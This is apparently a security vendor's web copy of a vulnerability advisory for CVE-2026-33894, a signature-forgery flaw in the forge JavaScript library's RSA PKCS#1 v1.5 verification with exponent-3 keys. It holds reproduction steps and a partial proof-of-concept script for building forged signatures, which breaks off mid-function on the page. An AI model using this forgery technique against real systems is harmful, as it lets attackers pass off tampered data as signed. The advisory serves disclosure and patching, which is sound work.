Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-33894 — forge

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-20 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Forge has signature forgery in RSA-PKCS due to ASN.1 extra field

Summary

RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling [Bleichenbacher style forgery](https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE/). This issue is similar to [CVE-2022-24771](https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765), but adds bytes in an addition field within the ASN structure, rather than outside of it.

Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as [defined by the specification](https://datatracker.ietf.org/doc/html/rfc2313#section-8), providing attackers additional space to construct Bleichenbacher forgeries.

Impacted Deployments

Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5

Affected versions: tested on v1.3.3 (latest release) and recent prior versions.

Configuration assumptions:

  • Invoke key.verify with defaults (default scheme uses RSASSA-PKCS1-v1_5).
  • _parseAllDigestBytes: true (default setting).

Root Cause

In lib/rsa.js, key.verify(...), forge decrypts the signature block, decodes PKCS#1 v1.5 padding (_decodePkcs1_v1_5), parses ASN.1, and compares capture.digest to the provided digest.

Two issues are present with this logic:

1. Strict DER byte-consumption (_parseAllDigestBytes) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it.

2. _decodePkcs1_v1_5 comments mention that PS < 8 bytes should be rejected, but does not implement this logic.

Reproduction Steps

1. Use Node.js (tested with v24.9.0) and clone digitalbazaar/forge at commit 8e1d527fe8ec2670499068db783172d4fb9012e5.

4. Place and run the PoC script (repro_min.js) with node repro_min.js in the same level as the forge folder.

5. The script generates a fresh RSA keypair (4096 bits, e=3), creates a normal control signature, then computes a forged candidate using cube-root interval construction.

6. The script verifies both signatures with:

  • forge verify (_parseAllDigestBytes: true), and
  • Node/OpenSSL verify (crypto.verify with RSA_PKCS1_PADDING).

7. Confirm output includes:

  • control-forge-strict: true
  • control-node: true
  • forgery (forge library, strict): true
  • forgery (node/OpenSSL): false

Proof of Concept

Overview:

  • Demonstrates a valid control signature and a forged signature in one run.
  • Uses strict forge parsing mode explicitly (_parseAllDigestBytes: true, also forge default).
  • Uses Node/OpenSSL as an differential verification baseline.
  • Observed output on tested commit:

```text

control-forge-strict: true

control-node: true

forgery (forge library, strict): true

forgery (node/OpenSSL): false

```

<details><summary>repro_min.js</summary>

```javascript

#!/usr/bin/env node

'use strict';

const crypto = require('crypto');

const forge = require('./forge/lib/index');

// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:

// SEQUENCE {

// SEQUENCE { OID sha256, NULL },

// OCTET STRING <32-byte digest>

// }

// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20

const DIGESTINFO_SHA256_PREFIX = Buffer.from(

'300d060960864801650304020105000420',

'hex'

);

const toBig = b => BigInt('0x' + (b.toString('hex') || '0'));

function toBuf(n, len) {

let h = n.toString(16);

if (h.length % 2) h = '0' + h;

const b = Buffer.from(h, 'hex');

return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;

}

function cbrtFloor(n) {

let lo = 0n;

let hi = 1n;

while (hi * hi * hi <= n) hi <<= 1n;

while (lo + 1n < hi) {

const mid = (lo + hi) >> 1n;

if (mid * mid * mid <= n) lo = mid;

else hi = mid;

}

return lo;

}

const cbrtCeil = n => {

const f = cbrtFloor(n);

return f * f * f === n ? f : f + 1n;

};

function derLen(len) {

if (len < 0x80) return Buffer.from([len]);

if (len <= 0xff) return Buffer.from([0x81, len]);

return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]);

}

function forgeStrictVerify(publicPem, msg, sig) {

const key = forge.pki.publicKeyFromPem(publicPem);

const md = forge.md.sha256.create();

md.update(msg.toString('utf8'), 'utf8');

try {

// verify(digestBytes, signatureBytes, scheme, options):

// - digestBytes: raw SHA-256 digest bytes for msg

// - signatureBytes: binary-string representation of the candidate signature

// - scheme: undefined => default RSASSA-PKCS1-v1_5

// - options._parseAllDigestBytes: require DER parser to consume all bytes

// (this is forge's default for

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity high, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: None.

Weakness class

CVE-2026-33894 is classified as CWE-20: Improper Input Validation. The application accepts input without checking that it has the expected form, so malformed values reach code that assumes they are well formed.

Affected software

CVE-2026-33894 is recorded against 2 packages.

  • forge (fixed in 1.4.0)
  • node-forge

Timeline and source

Published on 27 March 2026 and last revised on 17 August 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

datatracker.ietf.org
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com

Other advisories for this package

forge has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-20: Improper Input Validation) in other software:

CVE-2026-33894 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
CWE CWE-20
Public Exploit ✅ No
Source NVD
Published 2026-03-27
Updated 2026-08-20
Modified 2026-08-17
Fix URL N/A

Affected Packages

Software From version Fixed in
forge — 1.4.0
node-forge — —

References

Similar Threats

Site Security Check

Is forge part of your stack?

CVE-2026-33894 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026
✓